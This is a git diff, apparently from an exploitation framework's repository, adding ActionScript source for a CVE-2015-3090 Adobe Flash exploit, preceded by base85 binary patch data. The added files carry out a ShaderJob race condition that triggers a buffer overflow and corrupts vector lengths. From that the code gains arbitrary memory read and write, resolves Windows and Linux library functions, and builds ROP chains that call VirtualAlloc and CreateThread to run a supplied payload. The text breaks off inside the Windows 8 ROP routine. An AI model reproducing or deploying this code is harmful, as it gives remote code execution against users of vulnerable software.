z`TtRTA?S?WseQEIQO$(VFvEHsN$7XSC#>7jui?WQXJ%ZDy*ZKiAq*hsp-&$G@o%Ph;OWgHqlPQRi_`W(zC~sN97fFm zKpGu$hG8>ac^fYaO&tExUzF=SiwM|7neMI?TyRUzrP}jnO88@vGXiM&d^cxWCf5V@ zUtE!Ks_^FU=}eQbphVCTluiX7U|QVP#Ghugz29yntK>cuFv!0Ja~i(`mnlIfcCrz| zmi|$M@9@!kZm&1@;vPo~Fs*P=oCL*@K2bM%CXqpKH6f0U#ZX4)W3OOMfUn^f245iX z-0#2hc1THgWz3sXY>?~c!Z1#0 zP~blJ8tTa@KJnaZO6_2mXf^j)J0TE;Lbo^>i4f1J^lCNuu&psa&nVh>WYV&$={`nz z;KYd&e>OK3B}C_{xbP*@c6)^PIaJ9zg_naO!X`V@y187VYZ^7)8R9xx@&dD(dH;38 z`U|zMJM;CAHNA~LCaaZt@GY(}q2GR)+#R@q0=wgTwKGH#lnp=@m2#?|dJ|eI{lxMUNJ}oMDe+lLYEjVv~k9;VCr~ZoqoHsiG zfi%Y(zJexB8>1aZ2-xa5M>X27O13*)>x?LQRUtTVp#nHe$@D+8v>FMQ{DlepdOb<> zN4dW=(#A^*C-XWp4ecd!Pzxf#?a65XVW9d)=q}wfL)65BjpsXle_g_kV|ue)opC5t z8pgCKkjt~h!wmV*>CU5LQA$u7 zLwGIWW8Bx)zb^b%mGyZ!3|HD`|KnuBf|DIkAx!O=)}IZJ2EO6LFlj%go#j_d*Y9Ef zN1mW0xgwH+@hUdi;Gp?dfMCY=;jD^Bo9~@K#;n*+61qIokjDSaJk=-AjqA}lp9)%2 zpsO-!G?3EjI7=HbcXAjqZsx#JO)qB*?f0Cz6l~3?GzL!MNHsYj*@bpeCvOe$WV}Av zAT%&=Fd~sqwUO>86m%2cB=g^W%$x0?DI%d6({yJa5k5zNgjo+9sLty zN>rSU`P-^3UW=zfySz3j3>$U~%fdcu-+o`h93cD&_c-6`>m#B3+x>iwx&Rdqy?X(7 zLgQSZlQbq^mSUj-biQf1vQf-Jz>(C-C)ez$oW{DSp%X$7UP-14ry$n%Z@5>w$s$=Z z74mz*4{pk9jQ5iBh5=}1)l@(Rf}c%8{b9n9gyOw+XKrrf<33H!P@C=7dKNENK8V@f z1afJH`uQDzpYHwJ2Fn-?4{PbvQ3;N$)&lhtl&Oq}KjY*5dtna}4kq`H?^HYZeGC_( z`<&}ns7y`;vv*e{+iDyo6$5bVz?O(4FW68+PN(u43I^|lz0IvVoOdcC99$2qBMEIc zTT?YGW--dl#8wz(J>7t~bH2@4>yY6|c7C^-C%r+Re*+vwN-b(Ilue2XF?V#u_EH|Z zAfC)Gjbfym1n3f1sV_~iEjFH@+L+X_?1j}a9qoO=U^3$t?GH1rM)xbQLCf~h|Az-^ zjS!#TB?GALXDpv?b$7HrkLh4{p=SPA749zE(FwK|2qu7R$s1%) zGhVOd52GrZ&7+fDz8}qiudbrDa03T`k;pQhn4JXp^S2rw3}~4(3j#@%C~{`T8}0E% z)_;_YPx`*qh1}|PDlHbEH(q%uup9Neu`;Y?4o`+yZA9JQ9S{VEJ)e4#$6@|J4So?) zVv6A!-0l3ey^$%737Od?Iq!ViuYWx0*g)Pu;59w84>s%3!;}Y__C)12uDOC-wiO~Y z24aF?5#mckZ?^LYpsl#FexePb;mhuo9wE)4b? z2(x)+FcO30F8>Y*F$Tp5t<#QraMbfn$;PFf!uGYbXZ_LeG)Y?CSZzu>%P5tRW&lFu z%zp+;9n7%tRxM1lV_E!vL%)XPFOhPtRB>GKG30;}RwTKy&Sdy0L9k%0G06?;vf2gn^zeFyK!fTYA|dFiW+< z^oXV5p|x--UV0qIm|Fnb50hQ29;S(30SXyZ-^n3r>lHb|00p;?Sl3l6)M6V3{}-X+ zbQ%xLn<60E!nD_)@jIp(10<|pW{qRf(U{=F49V_;Dmz8>yAxZ8)itHWl5T$ay*&XW zS)C^`L*q0Vewd>P5D?Jy3cgU|c2oIdCJ7%WZ55p!Ikz37b2{x#^c>GXUOdE+Vo-5SF0F^dhHlYM|AB&94-^)m2-F&}2N9-*rji2YMP<1; zGNUh^(UT(^Qozb!W|-{qUkn3gbE=Ay$ey)rTnq4Bo7i>O z26pUAQw=|f6jNsIFzEjoqXG0bh;ZvWdL4Du#}}|m$Tn?lPB;f9a!Z{BOq@8wr`vMn zW!d!qe7_tv#3MW=PW`|Z`{wR1B+V9@S1lD_GAdAm_LVkes2Pq7QHvgihwOu{y|`QT zHD%-musToBYT@$Qu+z?pAx5rM5Otf)F4aK|$f{Pmi_k^pd~$JLkEwyL;81Qu>>dv4 ztSYG(XV^F-+Vf~I}cGya{TGHMZO3DLML(PoVSasMWFFULpEs{tw1 z&}g1knSlcFN~y^bc-C>ktRW-RIOW&+Pab;PJJ?R^amRe57t+sib}0>;CgPfz=98r~ zo#&+E;cUg*mNbXcGO3>t*mjVN(RG(VMa`D}G?ErtX|{Hcwmv)P$@4w&+B>#pVNxz+ zuP0|e^R_;_lslKZ-&7FTd?O;n7&H!(r)xZsjkVNj&q_S8$pv~nb-gQat5L@}N=)?~ zJ9U;MAHvIPl}&!u*o;5}CKX{CE_=LX7koFs(FDybLufL6?p|P{v;TI$`GN)xC6ROD z+BCm`1(V56p>(5n18lz~)#M4T*uh!@-7gbP!n*0wdIRoxPE5-`g#GeVHT7l&25au9 zr!UG_3`11i_)oiY{ML?fa{{#;cMq8fpGTU&61iR;JGH9atJm&~Q4w>@d zXkq~yl^iKu75C5Nj0U)lf{UNJevl=f#Jj8(W1)JGZ($*58Lu~WD?r_)i86lWV#O}h z{NGqXdbO{E+z~f3B3&#voaH6Dk&k4p)|BbGcWT${bHN?q9Qd|Uq8>TZUTknbTja;AlF%nCWQ3!0lY} z%>i3LUIv_mK5DIGsS&HlD$3Riok$x%O$Mfs`r*snC3E&{uzy^W|BP&R`9P#n{@-W= zzPHkLz|xnIBaawe`POzXftiHw$-3l|`>#gs6bA!9vwF7mlG~zbiG|F8`3Omv_Tp9^ z+_qIsKgn^C%pkxw7Nx^^*imPS0&1pB%T5fG8}77+p*JXcGno-d|L|{ zj8IIykWh)aGBD=)KrzgBrb~8N_jSEbkcR}UGC4CNz4D%u(S?JWHw}=}iY{NX5KOK? zJv*XmSw-qdH^aDZl51XomWW>i8h`U^tgoo*Wa4{uJ(eJeagCvlGf(vTYyrVOYQeRa zr2Z9rxWY4uk1$Q}q!>?sCOCCbI;5iIqgO&x=3eMnvi#OJNY9210n2Bzr+$zr{T{PI ze|(&S$U02w0j(g0tjJ+=(F$)l)v*{Rrz@9GUU+m5&rBwk1S`J` zS68Dkf3dcB3KD)Rgo&&)UDMXd%i`r$#_`!$I4zwJw&=X^VM*S^q9-snDly*!Azqg) z{>J|F#dpNG(;~lR5mquG9e9a=GqXL34(9tYQS*Q{D<9Mzlu)lsU`2*)(bZW|Lnrh& zy+4iToEsNEJ2@a~q}pAI8exQ=8&g>2C=c`oC{7zmS**DN)geCbI#4OY3q#M<#5tT` ztl3s4bH$a9yuD?BsSxlL?+pl@sGWATmV^M=>kpvpLD+JP zS5dvu<&$?2|6mox#FP!(*H}2IKF-sHTsZ4HgQiboSp9rfANjgt8D$+$Ow$L>HjLGn zaosb5T!wk}nJVj)JnU-#_~cTUc|{D0-g*$9K~S5@I__^=B=Y$l;6UyG zaU@#8%rCps*Nr0m?Rj2Lo&H|a+G&WngG79en~yTdku$IFmssoz@2^ipM_O=XydlYY zrpj#)|0+I61gBUg--bez8GKIArdz0hoKHv-H`4p%Pva|{lGPj0** z<54j*9gf^Q0UU^pBV`b!2UW+E$hXyC80!eESNVp|&ns>|yCdhz*|HZ32`sRQE z9cmA#ppY&Vn_DUUa;=hebH^RZuCu1gJn9TchCuyc;<7FTL4WKcVaZAHTTO~KY18T->%qZ)C3WLgpd_0d}p{a+B3 zHn%NPJelSNW}%NJoOy%zKLTPz7f{Qm|;BK!7JzxaXWkq05j z$b#4&A))p*Iv@6L!;NECsZrB6s#v&ESz{V_;NhEDMJ~VB5=kj7+iT~o0I_`n@~Cz7FUNAT`9fTXOfYhBj!guL;We-klB;F!u$t0szY+t}n+SG_`*8t=W zn%2cx!-(2Y1!>iPiT((|GsYw3=Ff5}?fNbT_WTApuck{rDdS-G08bzljbtiq*)UBl zFVvJXKtZWY55JG9sgWFD_ibsC#=jQvSo1?LMyKE)gwb* z0FK1y$SaC1j*I@_slLw*v_}f(%9)tQgz>hSDO%aqvLdC48L8ZC!j`>-PoAMeKHs+X zI4I1~Ci0+S_jU=GCdbi!xC8ciAKlS7SkAK6LaHvM3V~5aD6Rd2#{;DNQ@Kle&)-NZX_aBcmpUYw2IgWS z+fGCvO6Z|6XK*BaW0#EWIV3hPM^Mo1M!gd-uZ5<$^7Szzt~zp4h5+Rp|yWrDc2M?dt||mr1D_H=+igQ#etO<5%NKzb>@2B_`c_J3<8aEFYA9ELxbu6n* z0^8!grnd4G1l8OSM9{CJlvHLNAl&_fH#J46|DL{qkch(tOa_lmdi!~7xwg`Cosqa_ zxDJuSxhUc_0UJ0yUsJ0;lG zS#cslZeW14d`LCTQTgG*_lt@?cmXK2gl0){P5t^6EY)aDM8%tmVxxxnq~%vgCOVh5 z!^%th=^JI;#p4aA$#c*Uq{%5w#CPxoSY@cw>~m$syws?X<{dqsoXd2DnZS&ZyBoy2 z18#CMys9D+R-41OiF%t^3$}QqNPB6X&+&w^hRIL-B8_e8ee21Eo(%|)|_CFY-c2PZA;wkvRT8L@^ z8Pvlo`&6!&mX>ABi5O&KS#O*|IKXQ$a{8M79}7j^r`_uqbU+Bf%|7<(QdU%-2`7RE zMs9y8c*<=D-`89a2(KKT%*Yf1&r)I~b2Nff#j?4Ng**g;@JM?6ukTEx5njj+Qd^4K zaPE;LPz+05T>7J>8mq+$CY37L`{A=B>basc26P71%Zxy73(_;KodCp^lG59!q6W0B zaz_)1!-m?*TwtI9Ls0#%%KfcYBw6!c1xo*`X1gJ%rn*bnCyddAUngep6~QXw7M3Kx zJxNtgFj9wy~+v;IPUs3Yjdh1(4m=0^-pvQ*G7Y)8~@eXP9gQX#->i8q@QBxAC z{y)@2ucnu!;-uCuz19Vq`yZyIt(F{(q3L7s@-l$;ywsd6xJ)Hd-g*ZV;2&m7Oi2PC z3v?)Jyu!Jd_!iQZK_$#ZV3>e*%`bf*M7}YT(w}Gq&TQE2W_ljIVmw9=6SprPI(A_{ z>e&K4?glF!c>T6CDY9uI-$Nb_mg24o#-c65=dx3C$aA3tQ16F)zFErMGMLMe2wf3@xZZ-MM~u%IN4dnVo|3ak6EY2q8d)Ze9b z7$Pce8}#V@bN4*@A_F?2l^zsRYO`Zx-wxtW%nawqd+Kb^9foEFf?%zUU&Ue92J$jc ze*zylx*(DtH(;wICE%tBQT!+Qkco{%TF+Q>4sTqI|DkgaDyr;wHiVZ8Q&2=B{G#9= zxteEM4{g@n#z&vIH;8$x@Jy}BwxJx7jyBvmU&0_M*pL|kQe043 zLI2uaz}xP?GE-_H*5O(`077r%;0kgDUx~6p;HSMOQ%R$=;|}H-$-#+>_;b`Xe~Unm zzwRSEbD{TfRUwITdQK4x#ssVyITRnU$#Xt*+$ADPgfE4l#=u-^=AQ@6ztlLu{YZGB zyslZ$>9I%9cuRqGQ=(S!uKvi&YAoBn9x%Yb&{Bat0Bk#-_a7mSd&&S;YTq^Y*-j-l+i9H%Y)+Hw5Aa>SJWWv4r) P-aepkA`xEy=YAz=i4pvO literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2015-3090/Elf.as b/external/source/exploits/CVE-2015-3090/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Exploit.as b/external/source/exploits/CVE-2015-3090/Exploit.as new file mode 100755 index 0000000000..761a4164a4 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Exploit.as @@ -0,0 +1,102 @@ +package +{ + import flash.display.BitmapData + import flash.display.Shader + import flash.display.ShaderJob + import flash.display.Sprite + import flash.utils.getTimer + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] + private static var BilinearScaling:Class + private var ov:Vector. + private var uv:Vector. + + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + var srcBmd:BitmapData = new BitmapData(0x93, 1, true, 0x40000000); + + // Create and configure a Shader object to apply the the bilinear scaling bytecode + var shader:Shader = new Shader() + shader.byteCode = new BilinearScaling() + shader.data.scale.value = [1] + shader.data.src.input = srcBmd + + // Put vectors in memory + ov = new Vector.(1024) + + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(0xa6) + ov[i][0] = 0xdeedbeef + ov[i][1] = i + ov[i][2] = 0xdeadbeaf + } + + // Create holes by redimensioning some vectors + for (i = ov.length / 2; i < ov.length; i = i + 6) { + ov[i].length = 0x14c // 0xa6 * 2 + } + + // Defragment memory so hopefully one of our holes will be used + // by the ShaderJob later... + var defrag:Vector. = new Vector.(20) + for(i = 0; i < defrag.length; i++) { + defrag[i] = new Vector.(0xa6) + } + + // Apply the bilinear scaling with a ShaderJob, so the job + // can be execued on a new thread, providing us the opportunity + // to tweak the width attribute after starting the job, providing + // a buffer overflow situation + var shaderJob:ShaderJob = new ShaderJob() + shaderJob.shader = shader + shaderJob.target = srcBmd + shaderJob.width = 0 + shaderJob.start() + shaderJob.width = 0xa5 // Overwrite "next" vector length + this.WaitTimer(1000) + + for (i = 0; i < ov.length; i++) { + if (ov[i].length != 0xa6 && ov[i].length != 0x14c) { + Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString()) + uv = ov[i] + } else { + delete(ov[i]) + ov[i] = null + } + } + + if (uv == null) { + Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found") + return + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + private function WaitTimer(time:int):void{ + var current:int = getTimer() + while (true) { + if ((getTimer() - current) >= time) break + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/ExploitByteArray.as b/external/source/exploits/CVE-2015-3090/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/ExploitVector.as b/external/source/exploits/CVE-2015-3090/ExploitVector.as new file mode 100644 index 0000000000..e41d9dc85f --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0xa6 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Exploiter.as b/external/source/exploits/CVE-2015-3090/Exploiter.as new file mode 100644 index 0000000000..f32ba07e13 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + 